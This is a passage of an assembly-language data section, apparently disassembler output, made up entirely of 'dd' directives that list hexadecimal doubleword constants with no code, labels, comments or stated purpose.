136227DEh, 4BFE7BEEh, 3A58E831h, 0DD1C12ADh, 7C053EC1h dd 95743ABAh, 2F35956Fh, 335A5A2Ch, 9A2E3B16h, 11AA9ABBh dd 12B8BECFh, 0F9D4E998h, 50716FDFh, 0E6BA47D0h, 0A6A0DFBCh dd 723B8182h, 97946241h, 29650457h, 61277D09h, 0B998D0B8h dd 1120A9A2h, 32EEB675h, 0EDA7A118h, 0ACD88E44h, 51D49257h dd 0A5A05376h, 2D5AFE19h, 0E817B866h, 0D7E7FEEEh, 26BCEC2Ch dd 0F6FE1439h, 5A3F2FC9h, 31C43241h, 0E20902BBh, 0EBECCDD9h dd 60FE609Ch, 7EA58E48h, 6DBD8E0Ah, 1AADABEFh, 6968C05Fh dd 25D8B478h, 9C405B7Ah, 59D46571h, 2348E748h, 1850E4C5h dd 1933E8F4h, 0DF568D68h, 3568C106h, 0ECC2A02Ah, 41811155h dd 0D979B774h, 8B4660CBh, 9BD27649h, 0C844E743h, 18CD2B93h dd 0AFF80DC9h, 0F7FCB6A1h, 5A6F4EAAh, 6AEBAB0Ah, 9D5837A4h dd 9632152h, 8208907Bh, 0B3709DCh, 3D6AD55Fh, 0A4D1089h dd 6186E3C6h, 494592D0h, 0E09808B2h, 7921EBF0h, 0F36F7221h dd 865B983h, 0AF903D0Dh, 224A2591h, 0FB1D3FEh, 8379686Fh dd 2F51152Bh, 0E88A456Dh, 0F5DBDF7Bh, 64854FCAh, 0A6DCDB40h dd 61D35D95h, 2648046Fh, 6233A946h, 4125C647h, 528111BAh dd 42CDC49Fh, 863A046Ch, 0E3ED6570h, 6A25F3E5h, 4FEC8828h dd 45FCEF5Dh, 2A4E8B99h, 0B05468BCh, 707A39B0h, 6D580E1Dh dd 553C7BB9h, 4EA42871h, 0EED2A95Eh, 0DC9816B9h, 56C15F7Dh dd 7F295057h, 8DD323F4h, 55DEE51Dh, 0FE42E88Eh, 0C56C30Dh dd 4F798468h, 0BF787645h, 0C1DA6767h, 9434D02Ah, 424E67E6h dd 109BCC67h, 65926061h, 0B2A6DB98h, 0A662E478h, 0FC8E9030h dd 0F8AF82AAh, 49E9D69Ah, 0FDA4A596h, 4AAADA18h, 0F23631AAh dd 29B9E75Fh, 4B742D69h, 9CA34DEFh, 0BEFCB408h, 38326C22h dd 0E14965D7h, 5EA84EB1h dd 320DDC02h, 31462249h, 0CF08D9AAh, 952D138h, 5B2FA32Bh dd 1696964Fh, 3E065AEh, 0BDA1D2DFh, 0DE50E918h, 98C1D545h dd 64E51C64h, 1FDFB328h, 0B829D281h, 0B3F98879h, 0EE79B9Eh dd 0A656035Ah, 7C93D3Dh, 0D48E2693h, 725E2964h, 3D8327EEh dd 74E0860Eh, 0D6426676h, 4FB5CBBCh, 4352B8C8h, 0CD93B59h dd 1B9EFBE7h, 2230C17Ah, 78EF1381h, 0D5E4D6F1h, 0D791DC98h dd 8E3D397h, 1ADA0083h, 9C1C9F94h, 4AEB65E5h, 5A30E2EFh dd 0A14448B6h, 0F8A8F521h, 62D41425h, 0C7F94AE5h, 0EE58F048h dd 8D5EC4B7h, 83C04C87h, 0AFC840ABh, 1BEA0B57h, 0B5944BA7h dd 7BEB108Dh, 0E852EA19h, 0D4C2EF51h, 0C12DAD4Dh, 8D5C3A74h dd 4A41A1A9h, 9BF363B6h, 0C9FECEBEh, 1F7E02CBh, 0D6FDAA43h dd 0D20BAD2Ah, 7FF1041h, 93F87DBDh, 0B0E53962h, 2043654Bh dd 0E48C2AE9h, 55BCC357h, 51F35E7Fh, 6437DC13h, 3E3C8D28h dd 329680D5h, 4253D655h, 36992C66h, 0EA584475h, 0E6921EDCh dd 8B583AC6h, 15E3D0E1h, 5BE7CF2Ah, 5892AF98h, 8A80986Fh dd 0F545C699h, 0F24D8A92h, 0D28DB9C4h, 69023FA1h, 0D0018C77h dd 786D7AE2h, 0AB90C86Ah, 0CD73C424h, 99E162BAh, 0D59A4C30h dd 1C66EEE6h, 45C13520h, 7476C615h, 0D67571FDh, 7ACA3892h dd 0A86DE927h, 4DFC0702h, 61000555h, 964D48F2h, 1379A73Fh dd 59E4BCB0h, 40362B68h, 9005205Ch, 0BC274DD3h, 712C7065h dd 0BD753EFFh, 0F5516613h, 3D41202Ch, 0B65F4263h, 0D06D67CAh dd 0F7A86A37h, 115421FDh, 0E2B3239Bh, 32072C4h, 0C4A315E5h dd 792887A3h, 0BBE80787h, 60AE9FFEh, 4614A4A8h, 5FA862AEh dd 0F2DD5426h, 0C8CD9C1Dh, 35075BE6h, 80E543FCh, 2D6D51DBh dd 0CD3FA535h, 0F8021842h, 69D3657Dh, 0CC6D75C9h, 23BEE8C3h dd 58E7DDFEh, 4FC6618Ch, 0FE85E52Fh, 0D201CDBDh, 8B2C3765h dd 0D6D5F3DEh, 80C3B1ACh, 5C9830Ah, 0FD5BFC91h, 0D7445DB7h dd 5C89B1FBh, 0E6FEF7F7h, 5A0FEC4Fh, 0F3F06CE7h, 95C6FC2Ch dd 365F90C6h, 0B201F03Ah, 0CC6A5427h, 5BEE77BFh, 798A38D0h dd 2871821Bh, 0B993165Dh, 456A6270h, 2AA386CBh, 54823ED7h dd 0C45CFD27h, 0A4B21C16h, 1336A58Ch, 0F22336CCh, 4B4557Fh dd 168D63E2h, 36C5491Bh, 0CA9E2025h, 0BFF30310h, 0AE99D2BDh dd 25EA1B1Dh, 0BF5BF04Ch, 0DA876552h, 856F7330h, 0BE7E79BCh dd 0D36E9248h, 7D565E7Ah, 7B8D36D9h, 39241AF6h, 0DCD2419Eh dd 8FD7CD19h, 0E5411102h, 0A758F9Fh, 0B6231C6h, 12D4F8A1h dd 647FE2CFh, 5FF343BCh, 0B5A6B0A8h, 0F8D54F8Ah, 57F90D73h dd 2EA67D5Ch, 4ACBD4D0h, 5ABF0Dh, 0D21048F4h, 2DCA0487h dd 1C47B370h, 3E1CA0D5h, 53A3C2A2h, 0BB54ADC0h, 0CF674BBCh dd 7AB24915h, 0FEDE31A3h, 0D85F98Bh, 68081C48h, 26E5BADEh dd 0D5E3FCF6h, 34162676h, 2C06E41Eh, 496D6B26h, 4E63617Eh dd 0BBBE1D03h, 180281A5h, 6E8DFDE1h, 2B3E763Ch, 3AF53A03h dd 79EB5A61h, 999A00BFh, 0A97A2D59h, 5B02B632h, 0EE5C712Ch dd 6682E30Ah, 738A8B05h, 0E727AC0Dh, 679F1F96h, 302A0550h dd 9134F6B4h, 7E061CE8h, 0AF848DF6h, 1DCFFC3Dh, 0F0302DA0h dd 2B753D4Fh, 4D0D144Eh, 322D10F8h, 0BC5DD435h, 11F9EC77h dd 4935C74Bh, 2760B3Dh, 0D70123ECh, 3C41BB5h, 1E6AE291h dd 10D8BA29h, 0F0A60A2Ch, 572953Fh, 74178359h, 0E08095D6h dd 477629Ch, 5ACE7405h, 0C419670Eh, 13CBFDCAh, 27953A94h dd 2704930h, 59F7E157h, 35942B0Eh, 1CC9662Eh, 0D8F0E4C0h dd 0A96949F6h, 0BBC1EC31h, 41F2E3C2h, 8628C1D7h, 7F96F16Ah dd 8A4A5447h, 6B3DABA2h, 13D2C8ECh, 1C14B30Dh, 7E8C6672h dd 0A0D8DBFAh, 70262FBEh, 1E862BCFh, 7E0892D1h, 0C502E962h dd 3F09EDB6h, 98D59E1Bh, 7F632F25h, 24546C98h, 483C5BE4h dd 8E690112h, 6A5CCEBFh, 6DE6F089h, 0BC467646h, 0E1673475h dd 8845A433h, 6683E311h, 0CB7F721h, 9AE67BD5h, 7667C37h dd 0DD1DBC70h, 0F35E0950h, 705F3C75h, 0DFAABD9Dh, 0B7089CA8h dd 1AD32CB5h, 775346BCh, 40A8CBEFh, 0E95846D3h, 3B8E21EFh dd 0B8F0DBABh, 4C1F22EAh, 31A00DFDh, 7F906967h, 0EFC41C02h dd 7BEA05Dh, 0F2F07A0Dh, 0BD341947h, 0ED0CA28Ah, 0A13DC11Fh dd 4FE8BAD4h, 3AEE42C3h, 5BE178BCh, 433BA5CBh, 5D97CA25h dd 0F4EB6925h, 0FD885107h, 6C871754h, 3F3B82ECh, 0BCE272AFh dd 0F1D570EBh, 7DE991B9h, 21808C0Fh, 7A1853E6h, 0C615519Eh dd 0BCAE3A8Ch, 9173ABBBh, 0CCFDFA21h, 0B59A325h, 20B19764h dd 86530DABh, 1CEEFCB4h, 0C7CF934Eh, 0E4552B64h, 9ED2E166h dd 52E31F2h, 0D6C82B62h, 0A39C4E20h, 0DC20DB9Dh, 2A464CB2h dd 0ACA4EFEAh, 50C5B2C9h, 3B2F1ECDh, 1D5921D6h, 0DC6E6124h dd 899B67F8h, 6C132188h, 0F3994359h, 1B645FE1h, 3BD16C28h dd 0C170BAC5h, 0AA38EF1Fh, 965903ECh, 0CBA44ED4h, 7CBAB63Eh dd 3C8977Dh, 2AD5E768h, 0DBAF294Ch, 6D3B3DA4h, 6165D138h dd 26F0361Dh, 7F026518h, 0AC78289Bh, 4B6D6B44h, 9C6E59AEh dd 38C804A9h, 0CEB65D83h, 0D20A8AFEh, 0A1C5943Fh, 0E360CDE7h dd 0F785ECE3h, 0D8AC447Fh, 894A3CB0h, 66B12F39h, 9D50BB9Dh dd 0FC3CEB32h, 0EEE16043h, 0CE1D5EE7h, 0DE7CF9h, 7F2DAFD9h dd 0C8402829h, 0F7B6A5D3h, 182BC2Ch, 0EC59B426h, 356610D5h dd 0A4618A5Dh, 2C043A53h, 0C197A81Eh, 1A8FE6Dh, 0C1B9F95Ah dd 0FA0E463Dh, 2AECA4BFh, 750E60FEh, 9EFC1950h, 5B21DDADh dd 791948DCh, 0F3969BE5h, 8B253128h, 687E11Eh, 28AB2C5Fh dd 0DB2F7348h, 413738DEh, 9EE25817h, 0DA14C82Ch, 9D8ECBEDh dd 0B6A87F00h, 98587C7Eh, 65C224Fh, 1A5DA30Eh, 1F8457A3h dd 93F09D1Ch, 19134597h, 6E8E6198h, 4E6681ACh, 0D0414B03h dd 73467F03h, 37C80B98h, 0D97A7633h, 4CA3A481h, 7B796515h dd 0ED689F75h, 23533EE7h, 7D2D0B9Dh, 356CB39Ch, 23DCCC4Ch dd 46076722h, 830558A2h, 0C011611h, 0B1AC8E86h, 0BF662812h dd 8ABC8353h, 0C3ED6783h, 60BFBEADh, 0E7E6FE67h, 655F91FCh dd 0E725D7DCh, 0C3BE671Dh, 6CAEAD04h, 4E4F8D8Bh, 3CE22D17h dd 0A0F415A8h, 0B3F15F28h, 6443C811h, 0A0F5BC48h, 2F356CE4h dd 0F513C5A6h, 0D0F2C31Eh, 0DC36B5E9h, 0B2C15F1Ch, 431373A2h dd 7E36E087h, 0C0562C16h, 0B6F2F2h, 903C5372h, 230805CAh dd 0C46E6ABEh, 0F8F0C379h, 778FBE1Ah, 0A5B671F1h, 0FB13C275h dd 867741F3h, 0B5B44171h, 845BC41h, 4EC2616Fh, 6C0F4A90h dd 3B7C8F59h, 4BE65DC8h, 18319AFBh, 0C0AF8CBAh, 0F5E41F9Ch dd 82E6BA54h, 9E24846Bh, 3D783B42h, 489761A4h, 647F362Ch dd 2FB94E3Fh, 0D5ACBF50h, 0C9E03556h, 316CD60Ah, 779ACEDAh dd 504860E0h, 0B51C0EC9h, 4A0CC2E0h, 0F3935371h, 0F551AB15h dd 8949DEA8h, 0EC07261h, 5322A157h, 0AFD9493Ch, 618429FFh dd 164D0334h, 9F04A5F5h, 5502071Fh, 74969AEAh, 0BE824775h dd 30B81D98h, 2F176B62h, 0B5A3D26Dh, 34EBC234h, 500C3CC0h dd 0D1B77637h, 0ECD5B27h, 597149E7h, 16D98432h, 68BC677Eh dd 0E172C9A5h, 778A289Bh, 0CCF76253h, 9E853B21h, 5608AEB1h dd 5C8B469h, 5CE5800Dh, 0E4759DCAh, 7EDE7C11h, 0D148BA10h dd 5625A4C2h, 76E7ABD6h, 7D3C55Ch, 0E3AD8EE3h, 0E81C296h dd 0D969C040h, 0E9B64D39h, 3489A86Eh, 798798A1h, 1F7BAF60h dd 0F98A03B6h, 861F522Ah dd 7655E8B0h, 0A05ED79Ah, 5276AAFh, 0E2B13481h, 279B675Ch dd 0E9ADC088h, 0D25EC4D1h, 6332132Eh, 6500897Fh, 1E92E689h dd 3A878BADh, 8B86CE15h, 7A05B111h, 15058145h, 9FE61246h dd 83D11365h, 32763B78h, 0E97FA434h, 8672DBAAh, 32A45F58h dd 2EA17A6Eh, 1C1994A0h, 0C8941B47h, 39FF6534h, 0BA285A10h dd 0B4677B0Fh, 0C558A241h, 89F97835h, 77ABCF13h, 0AEE2E250h dd 0DF97B8D5h, 0E24624ACh, 1561F06Bh, 39F9556Ah, 35C92907h dd 3976E348h, 2727F326h, 0F673D472h, 822FA270h, 92AA3EFh dd 0C82BFDC7h, 98979F67h, 4524BC39h, 97C56A2h, 0EC45590Fh dd 0DC3E553Dh, 765DF80h, 0B17E3580h, 939F5ADBh, 53B04EF0h dd 0C14E81AEh, 10AB7F96h, 0E09751FBh, 0B1B248F7h, 0B6116608h dd 0ED5E297Ah, 1B2A46E3h, 3BB38661h, 40F77FA3h, 3836BA8h dd 0C810697h, 85CA65EBh, 0F37925C7h, 99D580F7h, 23882ED0h dd 0AAFFD337h, 0FEDDAE66h, 7F507A5Fh, 5B0428ACh, 0D64AC801h dd 0FE2BC131h, 0C95BC8E1h, 31029803h, 100C23C4h, 63320508h dd 3D900236h, 6F7E0D2Ch, 0F6AE6913h, 0C8A6F85Ch, 0AFC72BD7h dd 0B0E63D9Ch, 0A2F34E11h, 0D54EBCE2h, 7FA70E0Dh, 0A1F7945Ch dd 0B1E8D826h, 8B87486Ch, 769761C5h, 2718872Dh, 0DF2F1499h dd 8CE59D21h, 6726FE72h, 0A11309EAh, 2B206424h, 3373F27Bh dd 9A1021B3h, 4886C6C8h, 0AE4A1F1h, 0A7BE49F6h, 0A1FEDB29h dd 0F1F7E173h, 0BB0DDEDFh, 0B56B6037h, 97A5A8CCh, 1B6A5D88h dd 499C8F16h, 38060E8Ch, 0F108D211h, 65C49EC0h, 5B27EE1h dd 0CBCA26E5h, 0E2A1E5EAh, 0D4723952h, 5915F791h, 881B175Bh dd 52C250B4h, 154D5239h, 50FEA274h, 0C07F384Dh, 44C1526Dh dd 31A68060h, 0ED4D1D6Dh, 870C8047h, 233B2382h, 0FA14E8D9h dd 3F205ADAh, 0F4015BBAh, 0E8A163C7h, 0C62C176Dh, 0F1984C26h dd 367C3BDh, 0A2069BD2h, 0DA94F7AFh, 77EC09AFh, 49772787h dd 54729C95h, 0DE56C78Bh, 0AEC7E412h, 4F78D975h, 4DEB0A8Dh dd 9BB1A9EEh, 0CFEA8106h, 0BD599BD7h, 0B26E024Ch, 1F831A2Bh dd 10438E69h, 0C2C8489Ah, 0C8BBC729h, 51BBB1AEh, 33D571D3h dd 0E986F6B9h, 8FDA53A1h, 0D76DC9AAh, 6AFF6D72h, 246B5A3Dh dd 0ACB1EBA4h, 3BD15FD1h, 7077D651h, 0E207B1C6h, 0E749E6CDh dd 0E4EC8548h, 0C50B6F78h, 403FCAE8h, 0A0B9BDB4h, 0BDB1FC3Eh dd 8A9D9DCAh, 1A24440Eh, 0FB4720DEh, 0A9861EDEh, 0CDC2F2B2h dd 0DEFA7C18h, 0C5190DBBh, 66FB7E35h, 0A67EA4EFh, 25D20A35h dd 1A3926Dh, 171F75D7h, 21BE7123h, 4DFC7DC4h, 0F22FADCh dd 0C30BE2F0h, 4FCA2531h, 0B0419D1Ch, 90B5BD71h, 748CC95Dh dd 91F90499h, 1209E4F7h, 3285A7C9h, 8C0B2AB9h, 395F1A9Ch dd 17F3C72Dh, 7F8F58B0h, 0B8144BA5h, 835B7A2Dh, 0B7A82DACh dd 0C56AAC4Bh, 0D53E39BAh, 0C81788C3h, 9AC184F1h, 0C221BC58h dd 0C19D2213h, 62D6D89Ch, 926AAF58h, 0E95F61EEh, 0A457F575h dd 0E23D1AAFh, 4072144Ch, 0AA5F41EFh, 8EFCA4Ah, 2A71052Bh dd 0F15C7A48h, 0FDB29D32h, 18A52B13h, 0C8796DDAh, 1649BF93h dd 31876AA8h, 3D5DEAEEh, 0C30AA78Ch, 5915C585h, 0E1A72DC0h dd 563B0D91h, 0CFC2CABDh, 53DD7F8Ch, 0B72E10C8h, 0D83725E0h dd 3F5B9AF8h, 8F6E77DBh, 0C1E7C65Eh, 0E2550220h, 4F078C85h dd 33420C2Bh, 861E8ED5h, 439E774Bh, 0CC7CB1D8h, 2E6B1969h dd 57696760h, 654BA5F9h, 729ECEE4h, 0C45210CCh, 0E12BBEB9h dd 0C5C6A0E7h, 1E2E2CF2h, 25837DB5h, 0F375F8DFh, 0D511FF99h dd 9E1D428Fh, 78F93ED8h, 659303C8h, 0AD8AB7D6h, 3D7CC58Bh dd 1AA59BE2h, 1F474C43h, 0C8C018Bh, 850CC4F9h, 9A8C602Ch dd 0E29E8B7Ch, 0AE572D59h, 6A18220h, 0D7E47D7Bh, 5E66B2Fh dd 6600D387h, 0CAE45F00h, 3EA8FB4Ch, 0DEA8C7D2h, 8841EFCDh dd 61CEE8D1h, 31F9AC20h, 20A13FE9h, 420DB4F5h, 0CA9D7A49h dd 8B7F1FB5h, 5ABC808Ah, 0A97E86B7h, 0F11138Eh, 58D85D1h dd 0E011BE4Dh, 796B798Dh, 0FF6348C1h, 8CF560CAh, 5BA94F57h dd 4B330BC2h, 4DA09F8Eh, 2EB0525h, 0EC3C7A95h, 0D11C0A5Fh dd 0D68EFFF3h, 205E0F04h, 0C61BFBBFh, 0BE75CC39h, 90688B61h dd 381AA889h, 62B6AEE9h, 0CC32F2BCh, 2EEDBCEAh, 0B0A791B3h dd 76536F96h, 65F4F264h, 5B8B4DA3h, 1B6530F6h, 86CC2CBDh dd 8DCED375h, 949C7A18h, 0E86B2FC1h, 9A4BC7Fh, 25BC1F87h dd 52069655h, 0D66CF6D6h, 0F3DB1075h, 1F4CEAE3h, 3E9E0011h dd 7D6036ABh, 0C544EDE6h, 919CBE4Ah, 0F1FDA369h, 5B8D10ECh dd 61741365h, 8D7D03D4h, 75C097E6h, 0B10A310Fh, 0DF1BB6E3h dd 6F1CC707h, 0E54844CAh, 0B274995Dh, 6DA1B690h, 6470F7D6h dd 1C9119FCh, 0F35B46A1h, 36F14FE7h, 9844E5F9h, 3F561F92h dd 0BAAE4EB8h, 0D298F634h, 0A0CE5FA2h, 0F33AB19Ch, 98D510F0h dd 4CDBCFCBh, 0EE8B5DADh, 0D93CD6DFh, 9E60DC9Ah, 8074E836h dd 0F8B7577Ch, 70361C8Dh, 0DEFE7CEBh, 0CB0B41AEh, 3BA4A5A2h dd 67B16ECDh, 0D0F01D50h, 0DC1A3C34h, 173BB348h, 75C3A486h dd 8FF66B78h, 397B6DFAh, 6E5B0155h, 876BDE8Bh, 136FBD25h dd 1A3AC614h, 47384094h, 686A2ADBh, 1CB70576h, 0DBC05ACEh dd 0F14D9AFEh, 173DBADEh, 0E309D1D7h, 0EF27BD0h, 71FF5374h dd 452E7AD2h, 48AC3C8Fh, 2A966F55h, 6C93FCBCh, 9BF9BF33h dd 505E1F54h, 5211FD9Ch, 9B5ADDF7h, 99B4F660h, 0B12B6D0Dh dd 19BD5693h, 4019F3D4h, 863F7E44h, 0A3B75083h, 43947EABh dd 3DF5A996h, 7A390046h, 8752B4CFh, 38C04328h, 48CCE9EAh dd 0BACD2D81h, 0B12C5056h, 6B5AE6B8h, 8DF1034Ch, 2F2120ABh dd 1DEBC7D1h, 6F83C1C5h, 0BE4F945h, 0A6C3CB6Bh, 0EEBE4EB5h dd 0A40AE2B8h, 27AB8D60h, 5F6C07D8h, 0F489AB70h, 0E8365370h dd 6AAD0CF9h, 49A6E6C9h, 3991C812h, 661B68A5h, 1A0D031Fh dd 97D6DB17h, 0A16B98D2h, 4330E59Eh, 0F724CD49h, 799A9543h dd 970AD7h, 0D9B2DDCh, 8EB0CEC3h, 97894EC6h, 3D4DD00Eh dd 0BEADFCB6h, 13C48D57h, 13183A89h, 0F65C93D8h, 98FC0AA7h dd 48FA9B91h, 0CCFC78DBh, 98BA7DE1h, 5DAC8AA7h, 3530F72Fh dd 36F4E41Ah, 151AD06Eh, 0C6CB5D42h, 0DB74B437h, 862003Ch dd 26C3E339h, 3307BF06h, 24762602h, 0AC23AAC7h, 0F11622D4h dd 0FF585558h, 56CE628Dh, 6EDFF661h, 560714E5h, 3ED369F8h dd 0C2C95338h, 40CA1335h, 0BD581E23h, 0BF7B879Fh, 0F9D4EC84h dd 0EEDFF8BFh, 0F05104C0h, 450D775Ah, 4D235F4h, 0FB87EE29h dd 8353271Fh, 0CA9F0086h, 0D67BEB5Bh, 567674A2h, 0D80F4171h dd 0C5B35147h, 2AA0C5B7h, 0D11EB840h, 6142CC6Fh, 634BF89Fh dd 5C1179B7h, 7E7F9A82h, 732174FFh, 483D85C6h, 0EC9235B3h dd 2B1ECAB1h, 66C7405Eh, 0AD5EC5EDh, 783712A5h, 898C43B0h dd 0E5BCE375h, 752191FCh, 4FCCB881h, 0B8E334FFh, 4C2A54AAh dd 1D33139Fh, 869C91C3h, 0E770E02Ch, 0AA5A574Bh, 168C467Bh dd 0E23D46ECh, 77B2CA02h, 59DE93C0h, 0E3BB84F6h, 814EB3F8h dd 0B2DC35CBh, 6D3B94AEh, 4203C825h, 83077DBDh, 7E8E772Dh dd 0A462C1C2h, 0BDD08A3Fh, 7600D0F8h, 9F264A6Bh, 0B8F00956h dd 6AF33B72h, 0B698DCE9h, 74EAD02Eh, 1D9C9D22h, 27523336h dd 0B491FC52h, 21D676E7h, 5EE41937h, 9E50A082h, 41C15D3Ch dd 0F61A79D2h, 0C9C80986h, 2BC0E3BBh, 254DBF1Eh, 0BF0B15B7h dd 6BBAD487h, 51F98552h dd 7B602878h, 386227EEh, 0ACBE966Ch, 0DF0D3FA2h, 6E60E21Dh dd 0E50737D0h, 43D287F8h, 0BCF886E8h, 4D8B0D98h, 744B718Dh dd 636C0FF1h, 15E2AF53h, 47809B3Fh, 51013ABDh, 4AD286B6h dd 8E733698h, 47E66E1Dh, 0B1FB4503h, 38292745h, 5B32D7D2h dd 41B2E27Fh, 4C7E5CB8h, 0C5670586h, 16BE1D16h, 0DFABF153h dd 0A6B76273h, 11DAA5DFh, 0DEFDC813h, 5684EF5Ah, 766D9EA8h dd 0DD8DDA34h, 5B6BBDF3h, 24C72D55h, 0CD949544h, 2FD05D4Dh dd 1920FD35h, 81E114A4h, 0EB56C0C6h, 0CEA67573h, 0E5253672h dd 0C56BD541h, 5888D399h, 0F21CE875h, 4893A211h, 0E9818967h dd 0B03F4B7Fh, 7B6369E3h, 580EC5BBh, 0F77F97B9h, 7F24B2D0h dd 0C33B7093h, 14895632h, 446DE2F6h, 0D64BA60Ch, 72D73A5Bh dd 0BB515EA0h, 0D5B5025Ah, 0F0D0ECA7h, 7847C022h, 8D103D11h dd 0A7527C17h, 0DF706E62h, 82917C8Ah, 0EB549972h, 0ADFD17BBh dd 0B40D9776h, 0DFBCE86Eh, 0F41760CFh, 2F7315A2h, 3D7F0066h dd 0F0BC8AE1h, 7503D676h, 3305AAA7h, 42304E06h, 67C108B7h dd 6B68B7A1h, 15854EBAh, 0C20D9399h, 0D8A82BDAh, 0BF56B8F5h dd 4FF51CFAh, 77A39C21h, 38170C27h, 9E171B1Ah, 8A8F3D0Eh dd 5BCE3C72h, 6B46ED3h, 6829721Bh, 0D8B3A0DFh, 1E8A43CAh dd 659D6C6Eh, 0DF6F39C9h, 0BCDFB839h, 3BE5F6D0h, 48B942DBh dd 0CB9D4DD7h, 0FBF778F2h, 0C16B7CB5h, 0D52BF339h, 5A4ABC5Ch dd 0DDB92FDh, 0C64BBB83h, 98464B0Eh, 0D468ECBDh, 0D1692AD6h dd 1BF33E87h, 0B0F9FA18h, 20026EF9h, 9C4620A1h, 0AFA28142h dd 0E52E1E0h, 0F79054C9h, 320C9D93h, 8F39EE1Bh, 6ED4F418h dd 0D7D2150Eh, 0A4559D92h, 79508B8Dh, 3E1BC2BDh, 0ED6F6B40h dd 24BA0421h, 0ABAE1D2Eh, 35A3CD71h, 5D620F43h, 0C9460ECBh dd 0F1B68AFEh, 0B360F4ADh, 9AAADE79h, 5F526229h, 8885E0AEh dd 3A008A9Fh, 0AB3A5893h, 118DCDAFh, 0D00E385Eh, 774723D2h dd 2BC692DFh, 489C14E9h, 0E2B6511Ch, 5D8776B9h, 0BC1D1D37h dd 5E46F7EDh, 0B826590h, 85A94EE5h, 3FDE7B8Dh, 6DDDE83h dd 0C300013h, 686FB2D5h, 1BF73ADAh, 3EE39327h, 0F9B873B1h dd 70AA7DDFh, 0CE79E99Bh, 0A9E0BE62h, 4D6BC7A6h, 0B0B44F33h dd 70CBCC96h, 45335A35h, 6BF5468h, 0CBC7D1Fh, 7A21CC4h dd 278749E2h, 41844D8h, 49D2F651h, 23D94448h, 0B9A4F4AFh dd 15771F72h, 206F1503h, 7D918561h, 4713594Fh, 77633260h dd 2A39DAA0h, 0ED50033Bh, 0CC510EB3h, 281CA8D2h, 5D9F521Fh dd 7360D91h, 2919B5D2h, 9E55A9BFh, 0FE7F841h, 2DF205Ah dd 727CECE5h, 0ECAF712Dh, 81D7FE9Fh, 0C97C6EBCh, 2B18D759h dd 0E0890F57h, 0B0B9BEC2h, 0E179C07Ah, 5A73C7B2h, 94D53513h dd 1B310B79h, 0DF0B445Ch, 0F34E48D7h, 0CD8C78ADh, 7D1A6628h dd 0BE32CBF2h, 9B184602h, 281853Eh, 0EAD89E3h, 0E6B1CD54h dd 0DA037792h, 36AC6D57h, 0E552E52Eh, 0D024124h, 0B1AC149Eh dd 30548F7h, 4924ABF8h, 5631EB70h, 913B123h, 664BC13Ah dd 6170288Bh, 0FC8BAC80h, 0C6BB7B1Dh, 1E47D886h, 2AE1E888h dd 0B5AEEDD6h, 6BA66EC7h, 0F8DF7AE3h, 9DD74276h, 0EF899904h dd 0A599A2DFh, 94C60749h, 24AB340Ah, 0ABC7F2B5h, 14F61A1Ch dd 0ED23EFE7h, 0DCB44E7Dh, 407D227Bh, 0D4A90D25h, 0E051AAA4h dd 0F91FEEE7h, 0C1332092h, 0C60FCA35h, 0E48B1FB8h, 0EF060D35h dd 0AE2E4569h, 0E2E3058h, 0CBEA6C8Ah, 6D9E9CA0h, 9AEE3B16h dd 411D171Fh, 8CE490Ah, 4C3EA956h, 65C94C02h, 4682AB18h dd 0D0512922h, 5D98F1B4h, 657B56A2h, 30B7AA18h, 3A4DCCA9h dd 31F741CAh, 445852C2h, 99E9EF2Ah, 0E85AA90Dh, 0E356C92Bh dd 9EE55946h, 6FDC4128h, 8289D7FDh, 882016F1h, 0FB54BB70h dd 3AB1881Dh, 2FB51E3Fh, 0C0C88789h, 0E42B1B80h, 0BAB5C2A9h dd 6BDE85D1h, 0E3B59ECCh, 0F521A5BAh, 0E0D0AA37h, 0F2B8FF6Ch dd 37D59080h, 0D8BA4237h, 0A987E7EEh, 71DBE4EEh, 0A3571F09h dd 877E1533h, 0D7E18692h, 4C837218h, 0E98E453Fh, 8F758504h dd 3E4800A3h, 1A0176E4h, 0D736E98Dh, 0AEB60B85h, 3F15869Ch dd 3442D8CEh, 688DA3D6h, 5DB64625h, 0E213F017h, 86544ADAh dd 0A145662Ah, 652BB7C7h, 1FEEE26h, 0D2E52987h, 0D922D37Ch dd 1EEBFFD0h, 0AE7CBC67h, 0DB86B9B3h, 9E3AFC53h, 0FF8E1773h dd 62E6C28Ah, 0F6F0AD96h, 127B59C5h, 0C6801553h, 484E637Eh dd 0D60223A0h, 0F58B58B0h, 0EF08543Bh, 7DD1A324h, 0B0A86E64h dd 0C944B28Dh, 0E0457420h, 8017F155h, 0C601E258h, 0EDE60E86h dd 31D33496h, 0CF06103Dh, 90659AD9h, 2D080A82h, 148D2FF9h dd 46B5765Eh, 0B604810Eh, 0D19805B7h, 57940362h, 3E380C2Dh dd 11018505h, 0FD6EAF28h, 75B69593h, 6CB0A8CCh, 577AF604h dd 372F785Eh, 370339E1h, 4FE7D66Bh, 3EF06660h, 0F196B36Dh dd 680B827h, 0F6311C5h, 63F53B79h, 72849947h, 8A96F2F1h dd 0B538FFAAh, 0A0E1338Fh, 9C018CE9h, 0C57187F1h, 0DBC87CF0h dd 0F199E121h, 55352B6Ch, 9B6BD4CDh, 0FFC69102h, 0CAD0572Ch dd 0AC731941h, 44F181C9h, 267A70A2h, 7968A32Bh, 6CDBEA91h dd 1B946624h, 0D2162DF1h, 621ED556h, 130BD2EEh, 0BB1728Ch dd 7921BEDEh, 682357ACh, 0B87195EBh, 949942B6h, 49297C9h dd 2D8DFE71h, 0CEC1D95Eh, 0EBAFC8A7h, 8D7E9714h, 0DFFBEF0Ah dd 3699C729h, 0DD2B28E8h, 19F7F538h, 1B90FD14h, 0FF29EEADh dd 0DAA77A2Fh, 0AE356699h, 9FE68458h, 4BFFC730h, 0F03B81A3h dd 3B59CFF4h, 2E3582E6h, 0F916E8B5h, 40CF706Fh, 66251E0Dh dd 8EBDEA89h, 5136F331h, 3E3F3E9Ch, 29C4FA23h, 26929A4Ch dd 2FC7E4EDh, 506C9A3Bh, 0F5BAEDF5h, 7CC188C4h, 0FA2F4058h dd 834AE946h, 23CCA085h, 0C1F94181h, 1F73345Eh, 68321274h dd 0C23E4D1Bh, 3360D791h, 16D22B8h, 8FAF14B3h, 370CF30Fh dd 0E8A5D82Fh, 0C5257153h, 0E054D8BAh, 0B8B3A78Dh, 0D7070F75h dd 55F2AC1Ch, 0AD4FABACh, 5FD711DEh, 10C57FCEh, 0D480E23Ah dd 44B8962Fh, 8FEA9E5Dh, 38343795h, 636038C3h, 0CC8CEA78h dd 0ECA045C4h, 0FBBDBCDFh, 5001EF64h, 0C7B9C81Ah, 5C43F2BFh dd 37142F91h, 2264C6B2h, 